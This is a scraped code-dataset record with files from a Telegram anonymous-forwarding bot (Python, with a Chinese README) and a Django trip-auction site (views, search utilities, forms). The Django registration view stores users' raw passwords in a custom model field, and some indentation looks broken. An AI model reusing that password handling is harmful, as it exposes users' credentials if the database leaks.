mysystemd.ready()\n\n updater.idle()\n print('Stopping...')\n print('Stopped.')\n" }, { "alpha_fraction": 0.6239554286003113, "alphanum_fraction": 0.6305710077285767, "avg_line_length": 29.24210548400879, "blob_id": "f363ab8aad8cdbc6e3f527c9e7a8e22335799e5a", "content_id": "ed6504966976531c2fbfa74a0bda45c84bd5f7bf", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2994, "license_type": "permissive", "max_line_length": 126, "num_lines": 95, "path": "/feedback.py", "repo_name": "mysaleslee/telegram-forward-bot", "src_encoding": "UTF-8", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom telegram.inline.inlinekeyboardbutton import InlineKeyboardButton\nfrom telegram.inline.inlinekeyboardmarkup import InlineKeyboardMarkup\nimport telegram\nfrom datetime import date\n\n\nclass Feedback:\n feedbacks = {}\n show_answer = True\n show_alert = False\n\n def __init__(self):\n pass\n\n def init_buttons(self):\n buttons = []\n for key in self.feedbacks:\n buttons.append(InlineKeyboardButton(key, callback_data=\"%s:0\"%key ) )\n return buttons\n\n def init_replay_markup_str(self,feedback_text,feedback_answer): \n self.feedbacks = dict( zip( feedback_text.split(\",\"),feedback_answer.split(\",\")) )\n return self.init_replay_markup()\n\n def init_replay_markup(self):\n return InlineKeyboardMarkup([self.init_buttons()])\n\n def get_update_replay_markupr(self,query):\n replay_markup = InlineKeyboardMarkup([self.get_updatebuttons(query)])\n return replay_markup\n\n def get_updatebuttons(self,query):\n button,count = query.data.split(\":\")\n count = int(count) + 1\n \n buttons = query.message.reply_markup.inline_keyboard[0]\n update_buttons = []\n\n if self.show_answer:\n query.answer(self.feedbacks[button],show_alert=self.show_alert)\n\n for b in buttons:\n if b.callback_data == query.data:\n update_buttons.append(InlineKeyboardButton(\"%s%s\"%(b.text[0:1],count),callback_data=\"%s:%s\"%(button,count) ) )\n else:\n update_buttons.append(InlineKeyboardButton(b.text,callback_data=b.callback_data ) )\n return update_buttons\n\nfeedback = Feedback()\n\n\ndef __show_buttons__(buttons):\n for k in buttons:\n print(\"%s: %s\"%(k.text,k.callback_data))\n\nif __name__ == '__main__':\n # feedbacks = {\"👍\":\"赞了一把\",\n # \"👎\":\"踩了一脚\",\n # \"🤮\":\"吐了一地\"}\n\n feedback_text=[\"👍\",\"👎\",\"🤮\"]\n feedback_answer=[\"赞了一把\",\"踩了一脚\",\"吐了一地\"]\n\n feedback.feedbacks = dict(zip(feedback_text,feedback_answer))\n\n # 为了测试,关闭反馈和反馈提示 \n feedback.show_alert = False\n feedback.show_answer = False\n\n # 用feedbacks初始化buttons\n bs = feedback.init_buttons()\n print(\"初始化buttons:\")\n __show_buttons__(bs)\n\n # \n now = date.today()\n chat = telegram.Chat(1,'group')\n \n replay_markup = InlineKeyboardMarkup([bs])\n msg = telegram.Message(1,1,now,chat,reply_markup=replay_markup)\n callback = telegram.CallbackQuery(1,1,1,message=msg,data=\"👎:0\")\n bs = feedback.get_updatebuttons(callback)\n print(\"callback一次\")\n __show_buttons__(bs)\n\n\n replay_markup = InlineKeyboardMarkup([bs])\n msg = telegram.Message(1,1,now,chat,reply_markup=replay_markup)\n callback = telegram.CallbackQuery(1,1,1,message=msg,data=\"👎:1\")\n bs = feedback.get_updatebuttons(callback)\n print(\"callback两次\")\n __show_buttons__(bs)" }, { "alpha_fraction": 0.7393651008605957, "alphanum_fraction": 0.7428571581840515, "avg_line_length": 18.213415145874023, "blob_id": "a71671c1bfaf68a02eb050a65526168222a44a3e", "content_id": "940e110f2e6af31c62e85c16c43a1cf658b97269", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4818, "license_type": "permissive", "max_line_length": 82, "num_lines": 164, "path": "/README.md", "repo_name": "mysaleslee/telegram-forward-bot", "src_encoding": "UTF-8", "text": "# telegram-forward-bot\n将你的发言匿名转发到群聊的机器人\n\n这个机器人的作用就是让群里的人通过机器人说话,目标是:\n\n* 完全匿名了发言者的信息\n* 规避公共群的个人信息被存档的问题\n* 防止群中有他人的帐号出现问题,泄漏你的个人信息\n* 通过对发出的内容加入顶和踩的功能让大家为匿名发送什么逐渐达成共识\n* 用Bot完成群管理员和Bot管理员的日常设置和操作\n* Bot支持对非普通文本的发言附带可随时定制的反馈投票按钮\n\n注意,一个帐户注册后,你的`userid`是永远不变的,所以telegram并不真正安全。\n\n我的机器人都运行在RaspberryPi上,可以来 https://t.me/RaspberryPiCN 讨论机器人的使用和有关RaspberryPi的内容。\n\n## 安装\n\n建议使用venv环境,本项目必须使用Python3,本人不打算再在Python2中做任何测试\n\n```\npython3 -m venv py3\nsource py3/bin/activate\npip install python-telegram-bot\n```\n\n## 使用\n\n```\nmkdir -p ~/.config/forwardbot/\n```\n\n将项目中的`config.json`复制到这个目录中。你也可以把配置文件放到你自己喜欢的地方。\n\n### 配置\n\n在`config.json`中配置你的信息\n\n```\n{\n \"Admin\": 0, // 管理员用户ID(通常为8~9位数字)\n \"Token\": \"\", // Bot的Token\n \"Feedback\": false, // 是否打开转发时的Feedback\n \"Update_shell\": \"\", // 执行升级的脚本路径,用以支持 /update 命令\n \"Restart_shell\": \"\", // 执行重启服务的脚本路径,用以支持 /restart 命令\n \"Publish_Group_ID\": [] // 群ID(如:@channel)列表\n}\n```\n\n有几种典型的使用方法:\n\n* Admin/Publish_Group_ID相同时,你就可以做最简单的测试\n* 可以在Publish_Group_ID中加入多个群或频道,这时发送的内容会发到多个你指定的频道里去,列表支持数字、字符串混合\n\n### 管理员命令\n\n当你是Publish_Group_ID中第一个群的管理员时,你可以向Bot发送以下管理指令\n\n* `/help` 显示帮助\n* `/feedbackon` 关闭所有匿名发送的反馈\n* `/feedbackoff` 打开所有匿名发送的反馈\n\n当你是Bot管理员时,你可以向Bot发送以下管理指令\n\n* `/Admin` Bot重启、查看配置、升级更新等功能\n* `/setfeedback` <str> 设置反馈按钮,每个按钮的文字用逗号分开\n* `/setanswer` <str> 设置反馈按钮按下后的提示信息,应该和铵钮数量相同,用逗号分开\n\n## 运行\n\n### 手工运行\n\n```\npython main.py\n```\n\n会从`~/.config/forwardbot/`目录中读取配置文件和存取data。\n\n也可以使用\n\n```\npython main.py -c /usr/local/etc/forwardbot\n```\n\n来指定配置文件和data的存储路径。\n\n### 配置systemd运行\n\n在你的venv或Python环境中安装systemd支持,你需要提前确认一下你的操作系统是不是支持systemd。\n\n```\npip install systemd-python\n```\n\n修改`forwardbot_service.service`中的内容\n\n```\n[Unit]\n## 修改为你的说明\nDescription=Telegram Forward Bot Service\n\n[Service]\n## 修改venv和main.py以及config.json目录的路径\nExecStart=/usr/bin/python path/to/your/main.py -c /home/pi/fbot/tssd\nRestart=on-failure\nType=notify\n\n[Install]\nWantedBy=default.target\n```\n\n先将`forwardbot_service.service`文件放入`~/.config/systemd/user/`然后使用以下命令\n\n查看所有的service配置\n\n```\nsystemctl --user list-unit-files \n```\n\n确定识别后,重新加载一下配置(每次更新service文件后都需要重新加载)\n\n```\nsystemctl --user daemon-reload\n```\n\n启动/停止/查看/重启 service\n\n```\nsystemctl --user start forwardbot_service\nsystemctl --user stop forwardbot_service\nsystemctl --user status forwardbot_service\nsystemctl --user restart forwardbot_service\n```\n\n可以查看服务的output\n\n```\njournalctl --user-unit forwardbot_service\n```\n\n如果一切正常,先enable service,再打开当前用户的开机启动\n\n```\nsystemctl --user enable forwardbot_service\nsudo loginctl enable-linger $USER\n```\n\n如果你不想放到你的用户下运行,可以放到System中。测试都正常后,执行以下操作\n\n```\nsudo mv ~/.config/systemd/user/forwardbot_service /etc/systemd/system/\nsudo chown root:root /etc/systemd/system/forwardbot_service\nsudo chmod 644 /etc/systemd/system/forwardbot_service\nsudo systemctl daemon-reload\nsudo systemctl enable forwardbot_service\nsudo systemctl start forwardbot_service\n```\n\n## 感谢\n\n* 感谢 https://github.com/python-telegram-bot/python-telegram-bot\n* 代码最早使用了 https://github.com/Netrvin/telegram-submission-bot 感谢他的轮子\n* 有如何在systemd中启动Python的程序感谢 https://github.com/torfsen/python-systemd-tutorial 的文章\n* 感谢 https://github.com/systemd/python-systemd" } ]
7
davilajose23/tripperbid
https://github.com/davilajose23/tripperbid
0c0f9eaba8f50f25695f2a0fbd77bf546cf2102d
09650bd2baa4b9b7a72827740035afe990a20cca
b5a681b450ab0554852dc75df40762c0f81afed0
refs/heads/master
2021-01-10T12:50:52.223186
2015-12-30T07:48:39
2015-12-30T07:48:39
48,623,694
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7073062062263489, "alphanum_fraction": 0.7140406370162964, "avg_line_length": 29.384170532226562, "blob_id": "9d13caceecc9143cfe97f5341d43c123a0bab78e", "content_id": "ddfa116382088e4b2853b6965e660d50e7748f1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15740, "license_type": "no_license", "max_line_length": 145, "num_lines": 518, "path": "/views.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "from django.shortcuts import render\nfrom django.shortcuts import render_to_response,redirect\nfrom django.template import RequestContext\nfrom django.contrib.auth.models import User\nfrom django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.contrib.auth import authenticate, login, logout\nfrom mysite import settings\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.contrib import messages\nfrom django.core.files.uploadedfile import SimpleUploadedFile\n\nimport unicodedata\nimport datetime\n\n# Create your views here.\nfrom .forms import SettingsForm_gen\nfrom .models import Usuario, Subasta, Piramide, UsuarioPiramide, Follows, Ganador\nfrom .utils import generic_search\n\n\n\ndef Index(request):\n\n\treturn render(request,'trips/index.html')\n\ndef Login(request):\n\n\tnext = request.GET.get('next', '/proyectos/')\n\tif request.method == \"POST\":\n\t\tusername = request.POST['username']\n\t\tpassword = request.POST['password']\n\n\n\t\tuser = authenticate(username=username, password=password)\n\n\t\tif user is not None:\n\t\t\tif user.is_active:\n\t\t\t\tlogin(request, user)\n\t\t\t\treturn HttpResponseRedirect('/trips/')\n\t\t\telse:\n\t\t\t\treturn HttpResponse(\"Inactive user.\")\n\t\telse:\n\t\t\t#\treturn HttpResponseRedirect(settings.LOGIN_URL)\n\t\t\treturn HttpResponseRedirect('/login/')\n\n\tif request.user.is_authenticated():\n\t\treturn HttpResponseRedirect('/trips/')\n\n\treturn render(request,'trips/login.html')\n\ndef Logout(request):\n logout(request)\n return HttpResponseRedirect('/trips/')\n\ndef Registro(request):\n\t#falta checar que el email sea unico\n\n if request.method == \"POST\":\n first_name = request.POST.get('first_name')\n first_name.capitalize()\n last_name = request.POST['last_name']\n last_name.capitalize()\n email = request.POST['email']\n password = request.POST['password']\n date_birth = request.POST['birth']\n gender = request.POST['gender']\n\n mailused = None\n try:\n \tmailused = Usuario.objects.get(email=email)\n except Usuario.DoesNotExist:\n \tprint(\"usuario no existe\")\n\n\t\tif mailused is None:\n\t\t\tuser = User.objects.create_user(username=email, email=email, password=password)\n\t\t\tuser.first_name = first_name\n\t\t\tuser.last_name = last_name\n\t\t\tuser.save()\n\t\t\tusuario = Usuario(\n\t first_name=first_name,last_name=last_name,password=password,\n\t email=email,user=user)\n\t\t\tusuario.save()\n\n #send_mail('Bienvenido a Incubadora Caracol', ':', '[email protected]',[usuario.email], fail_silently=False)\n \treturn render_to_response('trips/login.html', RequestContext(request))\n\n\tif request.user.is_authenticated():\n\t\treturn HttpResponseRedirect('/trips/')\n\n return render_to_response('trips/signup.html', RequestContext(request))\n\n\ndef Trips(request):\n\n\tsubastas = Subasta.objects.all()\n\n\treturn render(request,'trips/trips.html',{'subastas':subastas})\n\ndef Details(request,sub_id):\n\n\tsubasta = Subasta.objects.get(pk=sub_id)\n\tpiramide = Piramide.objects.filter(subasta__id=sub_id,finished=False)\n\n\n\tif piramide is None:\n\t\tpiramide = Piramide(subasta=sub_id)\n\n\tusuariopiramide = UsuarioPiramide.objects.order_by('nivel').filter(piramide__subasta__pk=sub_id,finished=False)\n\tcantidad = usuariopiramide.count()\n\trecaudado = cantidad * subasta.precio\n\tvacios = 14 - cantidad\n\n\tif request.user.is_authenticated():\n\t\tfor up in usuariopiramide:\n\t\t\tif up.usuario.id == request.user.usuario.id:\n\n\t\t\t\treturn render(request,'trips/details.html',{'subasta':subasta,'piramide':piramide,\n\t\t\t\t'usuariopiramide':usuariopiramide,'piramide_usuario':up.piramide,'cantidad':cantidad,'recaudado':recaudado,'participa':True,'vacios':vacios})\n\n\treturn render(request,'trips/details.html',{'subasta':subasta,'piramide':piramide,\n\t\t'usuariopiramide':usuariopiramide,'cantidad':cantidad,'recaudado':recaudado,'vacios':vacios})\n\ndef inscribir_subasta(request,sub_id, p_id ):\n\n\tpir_vacia = Piramide.objects.filter(subasta__id=sub_id)\n\tsubasta = Subasta.objects.get(pk=sub_id)\n\n\tif not pir_vacia.exists():\n\t\t#hacer una nva pira\n\t\tpiramide = Piramide(subasta=subasta)\n\t\tpiramide.save()\n\telse:\n\t\ttry:\n\t\t\tpiramide = Piramide.objects.get(pk=p_id)\n\t\texcept Piramide.DoesNotExist:\n\t\t\traise Http404(\"No existe esta piramide\")\n\n\ttry:\n\t\tuser = Usuario.objects.get(pk=request.user.usuario.pk)\n\texcept Usuario.DoesNotExist:\n\t\traise Http404(\"No existe ese usuario\")\n\n\tpir = UsuarioPiramide.objects.filter(usuario__pk=user.id, piramide__pk=piramide.id)\n\n #se checa si ya estaba registrado el usuario en la piramide y lo agrega\n\tif not pir:\n \t#registrar\n\t\tup = UsuarioPiramide(usuario=user,piramide=piramide)\n\t\tup.nivel = piramide.inscritos + 1\n\t\tup.save()\n\t\tpiramide.inscritos += 1\n\t\tpiramide.save()\n\t\tpiramide.subasta.recaudado += piramide.subasta.precio\n\t\tpiramide.subasta.save()\n\n\t#checa si ya se lleno la piramide y la divide\n\tpir = UsuarioPiramide.objects.filter(piramide=piramide)\n\n\tif piramide.inscritos >= piramide.limite:\n\t\t# se lleno hay que crear dos nvas piramides\n\t\tpir_izq = Piramide(subasta=subasta)\n\t\tpir_izq.save()\n\n\t\tpir_der = Piramide(subasta=subasta)\n\t\tpir_der.save()\n\n\t\tizq = [2,4,5,8,9,10,11]\n\t\tder = [3,6,7,12,13,14,15]\n\t\tcontador = 0\n\t\tfor userpir in pir :\n\n\t\t\tif userpir.nivel == 1:\n\t\t\t\t#mover a ganadores\n\t\t\t\tganador = Ganador(usuario=userpir.usuario,subasta=subasta,cantidad=subasta.pago)\n\t\t\t\tganador.save()\n\n\t\t\tif userpir.nivel in izq:\n\t\t\t\tup = UsuarioPiramide(usuario=userpir.usuario,piramide=pir_izq)\n\t\t\t\tup.nivel = pir_izq.inscritos + 1\n\t\t\t\tup.save()\n\t\t\t\tpir_izq.inscritos += 1\n\t\t\t\tpir_izq.save()\n\n\n\t\t\tif userpir.nivel in der:\n\t\t\t\tup = UsuarioPiramide(usuario=userpir.usuario,piramide=pir_der)\n\t\t\t\tup.nivel = pir_der.inscritos + 1\n\t\t\t\tup.save()\n\t\t\t\tpir_der.inscritos += 1\n\t\t\t\tpir_der.save()\n\n\t\t\tuserpir.finished = True\n\t\t\tuserpir.save()\n\n\t\t#eliminar la piramide pasada o hacerla finished\n\t\tpiramide.finished = True\n\t\tpiramide.save()\n\n\treturn HttpResponseRedirect('/details/'+sub_id)\n\n\ndef Follow(request,user_id):\n\tnext = request.GET.get('next', '/')\n\n\tif request.user.is_authenticated():\n\t\ttry:\n\t\t\tfollowed = Usuario.objects.get(pk=user_id)\n\t\texcept Usuario.DoesNotExist:\n\t\t\traise Http404(\"No existe este usuario\")\n\t\t\t#ssss\n\t\ttry:\n\t\t\tfollower = Usuario.objects.get(pk=request.user.usuario.pk)\n\t\texcept Usuario.DoesNotExist:\n\t\t\traise Http404(\"No existe ese usuario\")\n\n\t\trelation = Follows.objects.filter(followed=followed,follower=follower)\n\n\n\t\tif not relation.exists() and not request.user.usuario == followed:\n\t\t\t#crear la relacion Follow\n\t\t\trelacion2 = Follows(followed=followed,follower=follower)\n\t\t\trelacion2.save()\n\t\t\treturn HttpResponseRedirect('/profile/'+user_id)\n\n\treturn HttpResponseRedirect('/profile/'+user_id)\n\n\ndef Unfollow(request,user_id):\n\tnext = request.GET.get('next', '/')\n\n\tif request.user.is_authenticated():\n\t\ttry:\n\t\t\tfollowed = Usuario.objects.get(pk=user_id)\n\t\texcept Usuario.DoesNotExist:\n\t\t\traise Http404(\"No existe este usuario\")\n\t\t\t#ssss\n\t\ttry:\n\t\t\tfollower = Usuario.objects.get(pk=request.user.usuario.pk)\n\t\texcept Usuario.DoesNotExist:\n\t\t\traise Http404(\"No existe ese usuario\")\n\n\t\trelation = Follows.objects.filter(followed=followed,follower=follower)\n\n\n\t\tif relation.exists():\n\t\t\t#delete la relacion Follow\n\t\t\trelation.delete()\n\n\t\t\treturn HttpResponseRedirect('/profile/'+user_id)\n\n\treturn HttpResponseRedirect('/profile/'+user_id)\n\ndef Profile(request,prof_id):\n\n\tusuario= Usuario.objects.get(pk=prof_id)\n\n\tif request.user.is_authenticated():\n\n\t\tfollower = Usuario.objects.get(pk=request.user.usuario.pk)\n\n\t\trelation = Follows.objects.filter(followed=usuario,follower=follower)\n\n\t\tif relation.exists():\n\t\t\treturn render(request,'trips/profile.html',{'usuario':usuario,'follow':True})\n\n\treturn render(request,'trips/profile.html',{'usuario':usuario})\n\ndef Profile_about(request,prof_id):\n\tusuario= Usuario.objects.get(pk=prof_id)\n\tif request.user.is_authenticated():\n\n\t\tfollower = Usuario.objects.get(pk=request.user.usuario.pk)\n\n\t\trelation = Follows.objects.filter(followed=usuario,follower=follower)\n\n\t\tif relation.exists():\n\t\t\treturn render(request,'trips/profile_about.html',{'usuario':usuario,'follow':True})\n\treturn render(request,'trips/profile_about.html',{'usuario':usuario})\n\ndef Profile_followers(request,prof_id):\n\tusuario= Usuario.objects.get(pk=prof_id)\n\trelaciones = Follows.objects.filter(followed=usuario)\n\n\tif request.user.is_authenticated():\n\n\t\tfollower = Usuario.objects.get(pk=request.user.usuario.pk)\n\n\t\trelation = Follows.objects.filter(followed=usuario,follower=follower)\n\n\t\tif relation.exists():\n\n\t\t\treturn render(request,'trips/profile_followers.html',{'usuario':usuario,'relaciones':relaciones,'follow':True})\n\treturn render(request,'trips/profile_followers.html',{'usuario':usuario,'relaciones':relaciones})\n\ndef Profile_following(request,prof_id):\n\tusuario= Usuario.objects.get(pk=prof_id)\n\trelaciones = Follows.objects.filter(follower=usuario)\n\tif request.user.is_authenticated():\n\n\t\tfollower = Usuario.objects.get(pk=request.user.usuario.pk)\n\t\trelation = Follows.objects.filter(followed=usuario,follower=follower)\n\n\t\tif relation.exists():\n\t\t\treturn render(request,'trips/profile_following.html',{'usuario':usuario,'relaciones':relaciones,'follow':True})\n\n\treturn render(request,'trips/profile_following.html',{'usuario':usuario,'relaciones':relaciones})\n\n\nQUERY=\"search-query\"\n\nMODEL_MAP = { Subasta : [\"nombre\", \"precio\"],\n\t\t\t\tUsuario: [\"first_name\",\"last_name\",],\n\n\n }\n\ndef Search(request):\n\n\n\n\tobjects = []\n\tsize = 0\n\tfor model,fields in MODEL_MAP.iteritems():\n\t\tobjects+=generic_search(request,model,fields,\"search-query\")\n\t\tsize += 1\n\treturn render(request,\"trips/search.html\",\n {\"objects\":objects,\n \"search_string\" : request.GET.get(QUERY,\"\"),\n \"size\" : len(objects)\n }\n )\n\ndef Settings_gen(request):\n\n\n\n\tif request.user.is_authenticated():\n\n\n\t\tdata={'first_name': request.user.usuario.first_name,\n\t\t\t\t\t\t\t\t'last_name': request.user.usuario.last_name,\n\t\t\t\t\t\t\t\t'email':request.user.usuario.email}\n\t\tform = SettingsForm_gen(data)\n\n\t\tif request.method == \"POST\":\n\n\t\t\tform = SettingsForm_gen(request.POST,request.FILES)\n\n\t\t\tif form.is_valid():\n\n\t\t\t\tfirst_name = form.cleaned_data['first_name']\n\t\t\t\tlast_name = form.cleaned_data['last_name']\n\t\t\t\temail = form.cleaned_data['email']\n\n\t\t\t\tuser = User.objects.get(username=request.user.username)\n\t\t\t\tusuario = user.usuario\n\n\t\t\t\tusuario.first_name = first_name\n\t\t\t\tusuario.last_name = last_name\n\n\t\t\t\t# TODO: checar que no se repita el email\n\t\t\t\t#usuario.email = email\n\t\t\t\t#user.username = email\n\t\t\t\tuser.first_name = first_name\n\t\t\t\tuser.last_name = last_name\n\t\t\t\tpp = form.cleaned_data['pp']\n\n\t\t\t\tif pp:\n\t\t\t\t\tusuario.pp=pp\n\t\t\t\tuser.save()\n\t\t\t\tusuario.save()\n\n\t\t\t\tdata={'first_name': request.user.usuario.first_name,\n\t\t\t\t\t\t\t\t\t\t'last_name': request.user.usuario.last_name,\n\t\t\t\t\t\t\t\t\t\t'email':request.user.usuario.email}\n\t\t\t\tform = SettingsForm_gen(data)\n\t\t\t\treturn HttpResponseRedirect('/settings/')\n\n\n\t\t\t#first_name = request.POST.get('first_name',request.user.usuario.first_name)\n\t\t\t#last_name = request.POST.get('last_name',request.user.usuario.last_name)\n\t\t\t#email = request.POST.get('email',request.user.usuario.first_name)\n\t\t\t#gender = request.POST.get('gender',request.user.usuario.last_name)\n\n\t\t\t'''\n\t\t\t\t\t\t\tuser = User.objects.get(username=request.user.username)\n\t\t\t\t\t\t\tusuario = user.usuario\n\n\t\t\t\t\t\t\tusuario.first_name = first_name\n\t\t\t\t\t\t\tusuario.last_name = last_name\n\n\t\t\t\t\t\t\t# TODO: checar que no se repita el email\n\t\t\t\t\t\t\t#usuario.email = email\n\t\t\t\t\t\t\t#user.username = email\n\t\t\t\t\t\t\tuser.first_name = first_name\n\t\t\t\t\t\t\tuser.last_name = last_name\n\t\t\t\t\t\t\tuser.save()\n\t\t\t\t\t\t\tusuario.save()\n\t\t\t'''\n\n\t\treturn render(request,'trips/settings.html',{'user':request.user,'form':form})\n\telse:\n\t\treturn HttpResponseRedirect('/trips/')\n\ndef Settings_prof(request):\n\n\tif request.user.is_authenticated():\n\n\t\treturn render(request,'trips/settings.html',{'user':request.user})\n\telse:\n\t\treturn HttpResponseRedirect('/trips/')\n\ndef Dashboard(request):\n\n\tif request.user.is_authenticated() and request.user.is_staff:\n\n\t\tfechas=[0,0,0,0,0,0,0,0,0,0,0,0]\n\t\tdonaciones=[0,0,0,0,0,0,0,0,0,0,0,0]\n\n\t\t#usuarios\n\t\tfechas_usuario = Usuario.objects.order_by('-date')\n\t\tfor fecha in fechas_usuario:\n\t\t\tfechas[fecha.date.month-1] += 1\n\n\t\thoy = datetime.datetime.today()\n\t\tusuarios_hoy = Usuario.objects.filter(date__year=hoy.year,date__month=hoy.month,date__day=hoy.day)\n\t\t\n\t\t#Donaciones\n\t\tdonaciones_usuario = UsuarioPiramide.objects.order_by('date')\n\t\tfor donacion in donaciones_usuario:\n\t\t\tdonaciones[donacion.date.month-1] += donacion.piramide.subasta.precio\n\n\n\t\tganadores = Ganador.objects.order_by('-date')[:5]\n\t\tfor gana in ganadores:\n\t\t\tdonaciones[gana.date.month-1] += gana.subasta.precio\n\n\t\ttotal_donaciones = 0\n\t\tfor i in donaciones:\n\t\t\ttotal_donaciones += i\n\n\t\tmale = Usuario.objects.filter(gender='M').count()\n\t\tfemale = Usuario.objects.filter(gender='F').count()\n\t\tother = Usuario.objects.filter(gender='O').count()\n\n\t\tif donaciones_usuario:\n\n\t\t\treturn render(request,'trips/dashboard_index.html',{'fechas':fechas,'last':fechas_usuario[0],\n\t\t\t'total':fechas_usuario.count(),'ganadores':ganadores,'donaciones':donaciones,\n\t\t\t'total_donaciones':total_donaciones,'last_month_donaciones':donaciones[11],'usuarios_hoy':usuarios_hoy.count(),\n\t\t\t'last_donacion': donaciones_usuario.last,'male':male,'female':female,'other':other})\n\n\n\n\t\treturn render(request,'trips/dashboard_index.html',{'fechas':fechas,'last':fechas_usuario[0],\n\t\t\t'total':fechas_usuario.count(),'ganadores':ganadores,'donaciones':donaciones,\n\t\t\t'total_donaciones':total_donaciones,'last_month_donaciones':donaciones[11],'usuarios_hoy':usuarios_hoy.count()})\n\telse:\n\t\treturn HttpResponseRedirect('/trips/')\n\ndef Dashboard_users(request):\n\n\tif request.user.is_authenticated() and request.user.is_staff:\n\n\t\tusers = Usuario.objects.order_by('first_name')\n\t\tcantidad = users.count()\n\t\treturn render(request,'trips/dashboard_users.html',{'users':users,'cantidad':cantidad})\n\telse:\n\t\treturn HttpResponseRedirect('/trips/')\n\ndef Dashboard_winners(request):\n\n\tif request.user.is_authenticated() and request.user.is_staff:\n\n\t\tganadores = Ganador.objects.order_by('-date')\n\t\t\n\t\treturn render(request,'trips/dashboard_winners.html',{'ganadores':ganadores})\n\telse:\n\t\treturn HttpResponseRedirect('/trips/')\n\ndef Dashboard_trips(request):\n\n\tif request.user.is_authenticated() and request.user.is_staff:\n\n\t\tsubastas = Subasta.objects.order_by('nombre')\n\t\t\n\t\treturn render(request,'trips/dashboard_trips.html',{'subastas':subastas,'cantidad':subastas.count()})\n\telse:\n\t\treturn HttpResponseRedirect('/trips/')\n\ndef Dashboard_trips_details(request,sub_id):\n\n\tif request.user.is_authenticated() and request.user.is_staff:\n\n\t\tsubasta = Subasta.objects.get(pk=sub_id)\n\t\tganadores = Ganador.objects.filter(subasta__id=sub_id).order_by('-date')\n\t\t\n\t\t#Donaciones\n\n\t\tdonaciones=[0,0,0,0,0,0,0,0,0,0,0,0]\n\n\t\tdonaciones_usuario = UsuarioPiramide.objects.filter(piramide__subasta=subasta).order_by('date')\n\t\tfor donacion in donaciones_usuario:\n\t\t\tdonaciones[donacion.date.month-1] += donacion.piramide.subasta.precio\n\n\t\tfor gana in ganadores:\n\t\t\tdonaciones[gana.date.month-1] += gana.subasta.precio\n\n\t\tpiramides = Piramide.objects.filter(subasta__id=sub_id)\n\n\t\tif donaciones_usuario:\n\t\t\treturn render(request,'trips/dashboard_trips_details.html',{'subasta':subasta,'ganadores':ganadores,\n\t\t\t'donaciones':donaciones,'last':donaciones_usuario[donaciones_usuario.count()-1],'usuariopiramide':donaciones_usuario,'piramides':piramides})\n\n\t\treturn render(request,'trips/dashboard_trips_details.html',{'subasta':subasta,'ganadores':ganadores,\n\t\t\t'donaciones':donaciones,'usuariopiramide':donaciones_usuario,'piramides':piramides})\n\telse:\n\t\treturn HttpResponseRedirect('/trips/')\n\n" }, { "alpha_fraction": 0.6096084117889404, "alphanum_fraction": 0.6140492558479309, "avg_line_length": 29.207317352294922, "blob_id": "0c5c77a144fed5aaa8880eedfb70115c42a8a9cc", "content_id": "7efdf769659ef77f20ab41893eb01fab762011f9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2477, "license_type": "no_license", "max_line_length": 84, "num_lines": 82, "path": "/utils.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "import re\n\nfrom django.db.models import Q\n\n\nfrom django.core.files.storage import FileSystemStorage\nfrom django.conf import settings\nimport os\n\ndef normalize_query(query_string,\n findterms=re.compile(r'\"([^\"]+)\"|(\\S+)').findall,\n normspace=re.compile(r'\\s{2,}').sub):\n\n return [normspace(' ', (t[0] or t[1]).strip()) for t in findterms(query_string)]\n\n\ndef build_query(query_string, search_fields):\n ''' Returns a query, that is a combination of Q objects. That combination\n aims to search keywords within a model by testing the given search fields.\n '''\n query = None # Query to search for every search term\n terms = normalize_query(query_string)\n for term in terms:\n or_query = None # Query to search for a given term in each field\n for field_name in search_fields:\n q = Q(**{\"%s__icontains\" % field_name: term})\n\n if or_query:\n or_query = or_query |q\n else:\n or_query = q\n\n\n if query:\n query = query & or_query\n else:\n query = or_query\n return query\n\ndef generic_search(request,model,fields,query_param=\"q\" ):\n \"\"\"\n \"\"\"\n\n query_string = request.GET.get(query_param,\"\").strip()\n\n\n if not query_string:\n return model.objects.all()\n\n entry_query = build_query(query_string, fields)\n\n found_entries = model.objects.filter(entry_query)\n\n return found_entries\n\n\n\n\nclass OverwriteStorage(FileSystemStorage):\n\n def get_available_name(self, name):\n \"\"\"Returns a filename that's free on the target storage system, and\n available for new content to be written to.\n\n Found at http://djangosnippets.org/snippets/976/\n\n This file storage solves overwrite on upload problem. Another\n proposed solution was to override the save method on the model\n like so (from https://code.djangoproject.com/ticket/11663):\n\n def save(self, *args, **kwargs):\n try:\n this = MyModelName.objects.get(id=self.id)\n if this.MyImageFieldName != self.MyImageFieldName:\n this.MyImageFieldName.delete()\n except: pass\n super(MyModelName, self).save(*args, **kwargs)\n \"\"\"\n # If the filename already exists, remove it as if it was a true file system\n if self.exists(name):\n os.remove(os.path.join(settings.MEDIA_ROOT, name))\n return name\n" }, { "alpha_fraction": 0.684326708316803, "alphanum_fraction": 0.7174392938613892, "avg_line_length": 36.75, "blob_id": "ca16be19e29069a45a9712920b920ba22ebdf441", "content_id": "004fe4005db23e544c2abbf1d28dc4654f8075c6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 453, "license_type": "no_license", "max_line_length": 66, "num_lines": 12, "path": "/forms.py", "repo_name": "davilajose23/tripperbid", "src_encoding": "UTF-8", "text": "from django import forms\n\nclass LoginForm(forms.Form):\n your_name = forms.CharField(label='Your name', max_length=100)\n user = forms.CharField(label='User',max_length = 100)\n password = forms.CharField(label='Password')\n\nclass SettingsForm_gen(forms.Form):\n first_name = forms.CharField(max_length=100)\n last_name = forms.CharField(max_length=100)\n email = forms.EmailField(max_length=254,)\n pp = forms.ImageField(required=False)\n" }, { "alpha_fraction": 0.3929961025714874, "alphanum_fraction": 0.40596628189086914, "avg_line_length": 28.278480529785156, "blob_id": "91618d0901e69421d419102cf893e9596be98682", "content_id": "52a9460a590b8b219bfdb0447ee3d979ff37c0fd", "detected_licenses": [], "is_generated": false, 